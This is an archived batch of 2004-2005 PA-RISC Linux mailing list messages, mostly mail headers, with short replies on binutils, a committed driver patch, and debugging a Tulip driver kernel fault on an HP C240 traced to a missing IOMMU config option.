  charset=us-ascii
X-Trace: ger.gmane.org 1416624526 26631 80.91.229.3 (22 Nov 2014 02:48:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:09 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 06:02:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx071) with SMTP; 04 Jan 2005 07:02:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5F3D03BC80; Mon,  3 Jan 2005 23:02:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25561-03; Mon, 3 Jan 2005 23:02:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 744253BE5D; Mon,  3 Jan 2005 23:02:01 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72BAD3BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 23:01:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23275-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Jan 2005 23:01:54 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 842783BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 23:01:54 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 0BEED495617; Mon,  3 Jan 2005 23:01:54 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by palinux.hppa (Postfix) with ESMTP id C2698495614
	for <parisc-linux@parisc-linux.org>;
	Mon,  3 Jan 2005 23:01:53 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id E150B47CE4; Mon,  3 Jan 2005 22:01:42 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20041226173709.GH11543@parcelfarce.linux.theplanet.co.uk>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25076

> Looking at the stack dump (a couple of layers are missing, is this because
> of tail-call optimisations?)

probably because we hit an asm function and can't unwind reliably
through it. it's on my list of things to fix.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.10-pa1 compile fails
Date: Mon, 3 Jan 2005 16:45:45 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20050103234545.GE3277__33280.3168836564$1416624526$gmane$org@colo.lackof.org>
References: <Pine.LNX.4.21.0412291312230.15774-100000@hal.pp.fishpool.fi> <41D2CF5D.3020801@tiscali.be> <20041229154533.GA8376@parcelfarce.linux.theplanet.co.uk> <41D3094B.4060206@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624526 26632 80.91.229.3 (22 Nov 2014 02:48:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:46 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 Martin-?ric Racine <q-funk@iki.fi>,
 Joel Soete <joel.soete@tiscali.be>,
 debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:09 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2005 23:45:58 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx037) with SMTP; 04 Jan 2005 00:45:58 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 700982DFD9; Mon,  3 Jan 2005 17:45:49 -0600 (CST)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id 52BFD2DE10
	for <debian-hppa@lists.debian.org>; Mon,  3 Jan 2005 17:45:47 -0600 (CST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D9B3D29803C;
	Mon,  3 Jan 2005 16:45:45 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10057-09; Mon, 3 Jan 2005 16:45:45 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1011F29803A; Mon,  3 Jan 2005 16:45:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41D3094B.4060206@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Rc-Virus: 2004-10-30_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_10_25_02 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=0.1 required=4.0 tests=AWL autolearn=no 
	version=2.63-lists.debian.org_2004_10_25_02
Resent-Message-ID: <bqxEeC.A.Z-F.tkd2BB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4112
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  3 Jan 2005 17:45:49 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25077

On Wed, Dec 29, 2004 at 07:45:15PM +0000, Joel Soete wrote:
> Taken this into account, I move parport_gsc.h into drivers/parport and 
> remove stuff from parport_gsc.c
> (btw I add a gnu license to parport_gsc.h based on the one of parport_gsc.c 
> ;-)

Committed. I'll roll the -pa number shortly.

grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils 32/64 bit question
Date: Tue, 4 Jan 2005 16:03:03 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20050104210302.GC14572@baldric.uwo.ca>
References: <200412302240.20913.vapier@gentoo.org>
	<200412310404.iBV44G45000401@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624526 26634 80.91.229.3 (22 Nov 2014 02:48:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 21:03:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 04 Jan 2005 22:03:42 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5EBDE3BE70; Tue,  4 Jan 2005 14:03:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02448-08; Tue, 4 Jan 2005 14:03:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8CC863BE74; Tue,  4 Jan 2005 14:03:20 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFF113BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 14:03:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02453-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 14:03:13 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C26AC3BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 14:03:13 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 71EC149572F; Tue,  4 Jan 2005 14:03:13 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id 3D45E495698
	for <parisc-linux@parisc-linux.org>;
	Tue,  4 Jan 2005 14:03:13 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1ClvpY-0005pk-00; Tue, 04 Jan 2005 16:03:04 -0500
Content-Disposition: inline
In-Reply-To: <200412310404.iBV44G45000401@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (76% Sync Ratio [========..])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25078

On Thu, Dec 30, 2004 at 11:04:15PM -0500, John David Anglin wrote:
> > has anyone toyed around with having the default hppa binutils support both 
> > 32bit and 64bit code ?
> 
> The main problem is that ld is different.  It would take some work
> to merge them.  The 64-bit ld uses .opd's and the 32-bit ld doesn't.
> There are advantages to using .opd's (e.g., function descriptors
> are unique).  We've talked about this but no significant progress
> has been made.

Progress on:

a. Adding OPD's to the 32-bit code?

b. Add multiarch binutils support for both 32/64 bit? 

:)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240 and Linux 2.6.x
Date: Wed, 5 Jan 2005 10:17:20 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20050105171720.GB24439@colo.lackof.org>
References: <20041230231420.GA15674@nilpferd.asyl>
	<41D553CB.6070802@tiscali.be>
	<20041231174649.GA21212@nilpferd.asyl>
	<20041231212330.GB23592@colo.lackof.org>
	<20050103181334.GB21212@nilpferd.asyl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624527 26636 80.91.229.3 (22 Nov 2014 02:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alexander Bartolich <alexander.bartolich@gmx.at>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2005 17:18:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 05 Jan 2005 18:18:17 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DA6D43BE6B; Wed,  5 Jan 2005 10:18:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15551-01; Wed, 5 Jan 2005 10:18:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 92A8F3BE71; Wed,  5 Jan 2005 10:17:30 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29C3C3BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 10:17:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14437-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Jan 2005 10:17:23 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 399533BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 10:17:23 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id DAE5C495698; Wed,  5 Jan 2005 10:17:22 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 93E59495693
	for <parisc-linux@parisc-linux.org>;
	Wed,  5 Jan 2005 10:17:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 57CB8298058;
	Wed,  5 Jan 2005 10:17:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25880-03; Wed, 5 Jan 2005 10:17:20 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2CAA3298029; Wed,  5 Jan 2005 10:17:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050103181334.GB21212@nilpferd.asyl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25079

On Mon, Jan 03, 2005 at 07:13:34PM +0100, Alexander Bartolich wrote:
> I fetched palinux-b180-defconfig-2.6.10-pa2_0-2_all.deb from
> http://cvs.parisc-linux.org/download/linux-2.6/autobuild/b180_defconfig/
> and build a nice vmlinux-2.6.10-pa2.
...

> Linux Tulip driver version 1.1.13 (May 11, 2002)
...
> Kernel Fault: Code=26 regs=11474480 (Addr=00000004)
...
>  IAOQ[0]: tulip_init_one+0x23c/0xdc0
>  IAOQ[1]: tulip_init_one+0x240/0xdc0
>  RP(r2): tulip_init_one+0x21c/0xdc0

The code in question is:
...
103eb100:       34 17 00 40     ldi 20,r23
103eb104:       2b 78 e0 00     addil f1000,dp,%r1
103eb108:       34 1a 00 00     ldi 0,r26
103eb10c:       48 33 01 60     ldw b0(,r1),r19
103eb110:       34 f8 04 60     ldo 230(r7),r24
103eb114:       91 00 20 00     cmpiclr,= 0,r8,r0
103eb118:       08 0f 02 5a     copy r15,r26
103eb11c:       34 19 14 00     ldi a00,r25
103eb120:       0e 68 10 96     ldw 4(,r19),r22		<== Fault
103eb124:       e6 c0 20 00     be,l 0(sr4,r22),%sr0,%r31
103eb128:       08 1f 02 42     copy r31,rp
103eb12c:       87 80 2c 50     cmpib,= 0,ret0,103eb75c <tulip_init_one+0x878>
103eb130:       0d 7c 12 90     stw ret0,8(,r11)
103eb134:       49 73 00 20     ldw 10(,r11),r19
103eb138:       37 94 10 00     ldo 800(ret0),r20

"103eb124: be,l" is an indirect function call.
The fault occurs when the function pointer is loaded.
This means the function table pointer (R19) hasn't been initialized.

I'm still trying to track down which indirection function this is.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240 and Linux 2.6.x
Date: Wed, 5 Jan 2005 10:27:14 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20050105172714.GC24439@colo.lackof.org>
References: <20041230231420.GA15674@nilpferd.asyl>
	<41D553CB.6070802@tiscali.be>
	<20041231174649.GA21212@nilpferd.asyl>
	<20041231212330.GB23592@colo.lackof.org>
	<20050103181334.GB21212@nilpferd.asyl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624527 26638 80.91.229.3 (22 Nov 2014 02:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alexander Bartolich <alexander.bartolich@gmx.at>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2005 17:27:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx020) with SMTP; 05 Jan 2005 18:27:52 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 29AB73BE70; Wed,  5 Jan 2005 10:27:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15570-06; Wed, 5 Jan 2005 10:27:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DFC833BE71; Wed,  5 Jan 2005 10:27:29 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4DAE3BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 10:27:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15570-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Jan 2005 10:27:16 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BA2AE3BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 10:27:16 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 75BF4495698; Wed,  5 Jan 2005 10:27:16 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 491A7495693
	for <parisc-linux@parisc-linux.org>;
	Wed,  5 Jan 2005 10:27:16 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C1AF3298058;
	Wed,  5 Jan 2005 10:27:15 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26087-01; Wed, 5 Jan 2005 10:27:14 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B0A9C298029; Wed,  5 Jan 2005 10:27:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050103181334.GB21212@nilpferd.asyl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25080

On Mon, Jan 03, 2005 at 07:13:34PM +0100, Alexander Bartolich wrote:
> http://cvs.parisc-linux.org/download/linux-2.6/autobuild/b180_defconfig/
> and build a nice vmlinux-2.6.10-pa2.
...
> CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz

Sorry - I should have recognized this sooner.
The B180 defconfig will NOT run on C-class machines:
#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
# 
CONFIG_GSC=y
# CONFIG_HPPB is not set
# CONFIG_IOMMU_CCIO is not set
...

CONFIG_IOMMU_CCIO needs to be enabled.
The failing function call was probably dma_ops table not being initialized.

Can you try this "32" bit kernel?
http://cvs.parisc-linux.org/download/linux-2.6/autobuild/32/palinux-32-2.6.10-pa5_0-2_all.deb

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] Fwd: RE: Hp c3600 Gentoo Installation troubles
Date: Thu, 6 Jan 2005 14:23:47 -0500
Organization: wh0rd.org
Lines: 76
Approved: news@gmane.org
Message-ID: <200501061423.47593.vapier@gentoo.org>
References: <NAEELOAPEHKLDEDOLEIHMEOMCCAA.bfisher@intech-intl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624527 26641 80.91.229.3 (22 Nov 2014 02:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:47 +0000 (UTC)
Cc: gentoo-hppa@lists.gentoo.org,
 parisc-linux@parisc-linux.org
To: "Ben Fisher" <bfisher@intech-intl.com>
